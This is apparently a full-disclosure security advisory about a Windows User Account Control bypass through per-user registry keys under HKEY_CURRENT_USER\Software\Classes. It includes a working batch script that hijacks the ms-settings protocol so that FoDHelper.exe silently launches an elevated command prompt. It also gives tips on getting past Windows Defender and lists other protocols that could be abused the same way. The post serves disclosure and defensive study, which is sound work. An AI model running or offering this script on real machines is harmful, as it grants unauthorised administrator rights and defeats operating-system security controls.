Microsoft User Account Control Nuances

Hi @ll,with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registrybranch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and[HKEY_CURRENT_USER\Software\Classes] with the latter having precedence:<https://msdn.microsoft.com/en-us/library/ms724498.aspx>Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by      (privileged) administrators, [HKEY_CURRENT_USER\Software\Classes]      is writable by the (current) unprivileged user.With Windows Vista they introduced the "security theatre" called"User Account Control" (a far better name is "qUACkery"):<https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/>| User Account Protection was the preliminary name for a core security| component of Windows Vista. The component has now been officially named| User Account Control (UAC).The qUACkery sort of lobotomises administrator accounts and splits theirbrain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs runfrom it use a restricted access token without administrative privileges.For the (not so few) programs which but need administrative privileges,Microsoft introduced a "kill switch" in the application manifest:<https://msdn.microsoft.com/en-us/library/aa374191.aspx><https://msdn.microsoft.com/en-us/library/bb756929.aspx>| <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">|    <security>|       <requestedPrivileges>|          <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />|       </requestedPrivileges>|    </security>| </trustInfo>With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introducedwith Windows 2000 became but a can of worms: in STANDARD installations ofWindows, applications running with administrative privileges, i.e. anintegrity level above "Medium", now evaluate registry settings (COM CLSIDs,ProgIDs, URL protocols, ...) which are under control of the unprivilegeduser.<https://msdn.microsoft.com/en-us/library/ms724498.aspx>| If an application is run with administrator rights and User Account| Control is disabled, the COM runtime ignores per-user COM configuration| and accesses only per-machine COM configuration.<https://msdn.microsoft.com/en-us/library/bb756926.aspx>| Beginning with Windows Vista® and Windows Server® 2008, if the| integrity level of a process is higher than Medium, the COM runtime| ignores per-user COM configuration and accesses only per-machine| COM configuration. This action reduces the surface area for elevation| of privilege attacks, preventing a process with standard user privileges| from configuring a COM object with arbitrary code and having this code| called from an elevated process.OOPS: COM CLSIDs have been removed from the can of worms.But what about ProgIDs and URL protocols?<https://msdn.microsoft.com/en-us/library/cc144152.aspx>Demonstration:~~~~~~~~~~~~~~1) Start the command processor in the user account created during   Windows setup;2) Execute the "Feature on Demand" helper application FoDHelper.exe   (which requires administrative privileges, but elevates SILENTLY),   then close the "Immersive Control Panel" window it opened;3) Add the following registry entries to replace the application run   by the elevated FoDHelper.exe from "Immersive Control Panel" to   "Windows Command Processor" (or an arbitrary other one):   [HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command]   @="C:\\Windows\\System32\\Cmd.exe"   [HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]   @="qUACkery"4) Execute FoDHelper.exe again;5) Remove the registry entries created in step 3.If you prefer a batch script:--- quackery.cmdREG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" /VE /T REG_SZ /D "%COMSPEC%" /FREG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T REG_SZ /D "qUACkery" /FFoDHelper.exeREG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /FREG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F--- EOF ---OOPS: Windows Defender blocks the execution of FoDHelper.exeSpoiler: installation of another anti-virus, for example McAfee,         Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro,         deactivates Windows Defender and lets FoDHelper.com run         an arbitrary application elevated, without UAC prompt.stay tuned, and far away from the eternally vulnerable crap oozing out of RedmondStefan KanthakPS: finding the applications which call the ProgIDs/URL protocols    ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular,    ms-settings-connectabledevices, ms-settings-displays-topology,    ms-settings-emailandaccounts, ms-settings-language, ms-settings-location,    ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications,    ms-settings-power, ms-settings-privacy, ms-settings-proximity,    ms-settings-screenrotation, ms-settings-wifi, ms-settings-workplace    is left as an exercise to the reader.PPS: for all these URL protocols, the wise guys from Redmond added the     following registry entries to ease their exploitation:     [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings]     "WarnOnOpen"=dword:00000000     ...     [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings-workplace]     "WarnOnOpen"=dword:00000000